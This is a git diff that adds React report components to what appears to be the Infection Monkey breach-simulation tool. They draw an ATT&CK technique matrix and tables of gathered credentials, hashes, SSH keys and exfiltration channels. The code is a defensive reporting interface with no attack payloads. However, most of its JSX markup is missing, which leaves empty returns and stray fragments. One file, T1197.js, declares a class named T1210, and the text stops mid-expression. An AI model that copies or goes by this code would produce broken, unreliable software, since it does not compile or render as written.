diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
new file mode 100644
index 000000000..2e7ef4fc3
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
@@ -0,0 +1,119 @@
+import React from 'react';
+import Checkbox from '../ui-components/Checkbox'
+import Tooltip from 'react-tooltip-lite'
+import AuthComponent from '../AuthComponent';
+import ReactTable from "react-table";
+import 'filepond/dist/filepond.min.css';
+import '../../styles/Tooltip.scss';
+import {Col} from "react-bootstrap";
+
+class MatrixComponent extends AuthComponent {
+ constructor(props) {
+ super(props);
+ this.state = {lastAction: 'none'}
+ };
+
+ // Finds which attack type has most techniques and returns that number
+ static findMaxTechniques(data){
+ let maxLen = 0;
+ data.forEach(function(techType) {
+ if (Object.keys(techType.properties).length > maxLen){
+ maxLen = Object.keys(techType.properties).length
+ }
+ });
+ return maxLen
+ };
+
+ // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
+ static parseTechniques (data, maxLen) {
+ let techniques = [];
+ // Create rows with attack techniques
+ for (let i = 0; i < maxLen; i++) {
+ let row = {};
+ data.forEach(function(techType){
+ let rowColumn = {};
+ rowColumn.techName = techType.title;
+
+ if (i <= Object.keys(techType.properties).length) {
+ rowColumn.technique = Object.values(techType.properties)[i];
+ if (rowColumn.technique){
+ rowColumn.technique.name = Object.keys(techType.properties)[i]
+ }
+ } else {
+ rowColumn.technique = null
+ }
+ row[rowColumn.techName] = rowColumn
+ });
+ techniques.push(row)
+ }
+ return techniques;
+ };
+
+ getColumns(matrixData) {
+ return Object.keys(matrixData[0]).map((key)=>{
+ return {
+ Header: key,
+ id: key,
+ accessor: x => this.renderTechnique(x[key].technique),
+ style: { 'whiteSpace': 'unset' }
+ };
+ });
+ }
+
+ renderTechnique(technique) {
+ if (technique == null){
+ return ()
+ } else {
+ return (
+
+ {technique.title}
+
+ )
+ }
+ };
+
+ getTableData = (config) => {
+ let configCopy = JSON.parse(JSON.stringify(config));
+ let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
+ let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques);
+ let columns = this.getColumns(matrixTableData);
+ return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques}
+ };
+
+ renderLegend = () => {
+ return (
+ )
+ };
+
+ render() {
+ let tableData = this.getTableData(this.props.configuration);
+ return (
+
+ {this.renderLegend()}
+
+
+
+
);
+ }
+}
+
+export default MatrixComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
new file mode 100644
index 000000000..4d4f55dad
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -0,0 +1,57 @@
+import React from "react";
+
+export function renderMachine(val){
+ return (
+ {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
+ )
+}
+
+/* Function takes data gathered from system info collector and creates a
+ string representation of machine from that data. */
+export function renderMachineFromSystemData(data) {
+ let machineStr = data['hostname'] + " ( ";
+ data['ips'].forEach(function(ipInfo){
+ if(typeof ipInfo === "object"){
+ machineStr += ipInfo['addr'] + ", ";
+ } else {
+ machineStr += ipInfo + ", ";
+ }
+ });
+ // Replaces " ," with " )" to finish a list of IP's
+ return machineStr.slice(0, -2) + " )"
+}
+
+/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
+ for react table. */
+export function getUsageColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: { 'whiteSpace': 'unset' },
+ width: 300},
+ {Header: 'Usage',
+ id: 'usage',
+ accessor: x => x.usage,
+ style: { 'whiteSpace': 'unset' }}]
+ }])}
+
+/* Renders table fields that contains 'used' boolean value and 'name' string value.
+'Used' value determines if 'name' value will be shown.
+ */
+export function renderUsageFields(usages){
+ let output = [];
+ usages.forEach(function(usage){
+ if(usage['used']){
+ output.push({usage['name']}
)
+ }
+ });
+ return ({output}
);
+ }
+
+export const ScanStatus = {
+ UNSCANNED: 0,
+ SCANNED: 1,
+ USED: 2
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
new file mode 100644
index 000000000..24d742c14
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -0,0 +1,27 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import '../../report-components/security/StolenPasswords'
+import StolenPasswordsComponent from "../../report-components/security/StolenPasswords";
+import {ScanStatus} from "./Helpers"
+
+
+class T1003 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
+ : ""}
+
+ );
+ }
+}
+
+export default T1003;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
new file mode 100644
index 000000000..6d46c2285
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
@@ -0,0 +1,38 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers";
+
+class T1005 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getDataColumns() {
+ return ([{
+ Header: "Sensitive data",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
+ ]}])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1005;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
new file mode 100644
index 000000000..63e2bb4a5
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+
+
+class T1016 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getNetworkInfoColumns() {
+ return ([{
+ Header: "Network configuration info gathered",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1016;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
new file mode 100644
index 000000000..dcf7687db
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
@@ -0,0 +1,48 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1018 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static renderMachines(machines){
+ let output = [];
+ machines.forEach(function(machine){
+ output.push(renderMachine(machine))
+ });
+ return ({output}
);
+ }
+
+ static getScanInfoColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
+ {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1018;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
new file mode 100644
index 000000000..ce8688af1
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
@@ -0,0 +1,44 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1021 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getServiceColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: { 'whiteSpace': 'unset' }, width: 160},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
+ {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ static renderCreds(creds) {
+ return {creds.map(cred => {cred}
)}
+ };
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1021;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
new file mode 100644
index 000000000..7345ca497
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1035 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.services.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1035;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
new file mode 100644
index 000000000..3d6b45d08
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
@@ -0,0 +1,37 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {ScanStatus} from "./Helpers";
+
+class T1041 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getC2Columns() {
+ return ([{
+ Header: "Data exfiltration channels",
+ columns: [
+ {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
+ ]}])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1041;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
new file mode 100644
index 000000000..4651f5c41
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -0,0 +1,40 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1059 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getCommandColumns() {
+ return ([{
+ Header: 'Example commands used',
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1059;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
new file mode 100644
index 000000000..f57abd4b8
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1064 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.scripts.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1064;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js
new file mode 100644
index 000000000..5d5a8df4c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js
@@ -0,0 +1,16 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+
+
+class T1065 extends React.Component {
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ );
+ }
+}
+
+export default T1065;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
new file mode 100644
index 000000000..3cd12560b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -0,0 +1,49 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1075 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
+ }
+
+ setLoginHashType(login){
+ if(login.attempts[0].ntlm_hash !== ""){
+ login.attempts[0].hashType = 'NTLM';
+ } else if(login.attempts[0].lm_hash !== ""){
+ login.attempts[0].hashType = 'LM';
+ }
+ }
+
+ static getHashColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1075;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
new file mode 100644
index 000000000..8570ab1b0
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
@@ -0,0 +1,38 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+
+
+class T1082 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getSystemInfoColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1082;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
new file mode 100644
index 000000000..db75d8dda
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
@@ -0,0 +1,40 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1086 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getPowershellColumns() {
+ return ([{
+ Header: 'Example Powershell commands used',
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1086;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
new file mode 100644
index 000000000..934e76694
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1090 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getProxyColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machines',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x),
+ style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
+ };
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1090;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
new file mode 100644
index 000000000..8acd48c4b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
@@ -0,0 +1,40 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { ScanStatus } from "./Helpers"
+
+
+class T1105 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getFilesColumns() {
+ return ([{
+ Header: 'Files copied',
+ columns: [
+ {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
+ {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
+ {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status !== ScanStatus.UNSCANNED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1105;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
new file mode 100644
index 000000000..a3210b73c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1106 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.api_uses.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1106;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
new file mode 100644
index 000000000..d80dc3f0e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
@@ -0,0 +1,47 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1107 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static renderDelete(status){
+ if(status === ScanStatus.USED){
+ return Yes
+ } else {
+ return No
+ }
+ }
+
+ static getDeletedFileColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
+ style: { 'whiteSpace': 'unset' }, width: 160}]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.deleted_files.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1107;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
new file mode 100644
index 000000000..da9682da3
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -0,0 +1,47 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1110 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getServiceColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: { 'whiteSpace': 'unset' }, width: 160},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
+ {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
+ {Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ static renderCreds(creds) {
+ return {creds.map(cred => {cred}
)}
+ };
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status !== ScanStatus.UNSCANNED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1110;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
new file mode 100644
index 000000000..64db13f81
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
@@ -0,0 +1,29 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {getUsageColumns} from "./Helpers";
+
+class T1129 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.dlls.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1129;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
new file mode 100644
index 000000000..641602dc5
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
@@ -0,0 +1,53 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1145 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static renderSSHKeys(keys){
+ let output = [];
+ keys.forEach(function(keyInfo){
+ output.push(
+ SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
)
+ });
+ return ({output}
);
+ }
+
+ static getKeysInfoColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: { 'whiteSpace': 'unset' }},
+ {Header: 'Keys found',
+ id: 'keys',
+ accessor: x => T1145.renderSSHKeys(x.ssh_info),
+ style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1145;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
new file mode 100644
index 000000000..31be117a9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
@@ -0,0 +1,49 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1188 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getHopColumns() {
+ return ([{
+ Header: "Communications through multi-hop proxies",
+ columns: [
+ {Header: 'From',
+ id: 'from',
+ accessor: x => renderMachineFromSystemData(x.from),
+ style: { 'whiteSpace': 'unset' }},
+ {Header: 'To',
+ id: 'to',
+ accessor: x => renderMachineFromSystemData(x.to),
+ style: { 'whiteSpace': 'unset' }},
+ {Header: 'Hops',
+ id: 'hops',
+ accessor: x => x.count,
+ style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1188;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
new file mode 100644
index 000000000..8dc655aee
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
@@ -0,0 +1,52 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine } from "./Helpers"
+
+
+class T1210 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ this.columns = [ {Header: 'Machine',
+ id: 'machine', accessor: x => renderMachine(x),
+ style: { 'whiteSpace': 'unset' },
+ width: 200},
+ {Header: 'Time',
+ id: 'time', accessor: x => x.time,
+ style: { 'whiteSpace': 'unset' },
+ width: 170},
+ {Header: 'Usage',
+ id: 'usage', accessor: x => x.usage,
+ style: { 'whiteSpace': 'unset' }}
+ ]
+ }
+
+ renderExploitedMachines(){
+ if (this.props.data.bits_jobs.length === 0){
+ return ()
+ } else {
+ return ()
+ }
+ }
+
+ render() {
+ return (
+
+
+
{this.props.data.message}
+ {this.props.data.bits_jobs.length > 0 ?
BITS jobs were used in these machines:
: ''}
+
+
+ {this.renderExploitedMachines()}
+
+ );
+ }
+}
+
+export default T1210;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
new file mode 100644
index 000000000..9b6266efa
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -0,0 +1,96 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine } from "./Helpers"
+
+
+class T1210 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getScanColumns() {
+ return ([{
+ Header: "Found services",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: { 'whiteSpace': 'unset' }, width: 200},
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
+ {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
+ ]
+ }])}
+
+ static getExploitColumns() {
+ return ([{
+ Header: "Exploited services",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: { 'whiteSpace': 'unset' }, width: 200},
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
+ width: 170},
+ {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
+ ]
+ }])};
+
+ static renderEndpoint(val){
+ return (
+ {(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}
+ )
+ };
+
+ static formatScanned(data){
+ let result = [];
+ for(let service in data.machine.services){
+ let scanned_service = {'machine': data.machine,
+ 'time': data.time,
+ 'service': {'port': [data.machine.services[service].port],
+ 'display_name': data.machine.services[service].display_name}};
+ result.push(scanned_service)
+ }
+ return result
+ };
+
+ renderScannedServices(data) {
+ return (
+
+
+
+
)
+ }
+
+ renderExploitedServices(data) {
+ return (
+
+
+
+
)
+ }
+
+ render() {
+ let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat();
+ return (
+
+
{this.props.data.message}
+ {scanned_services.length > 0 ?
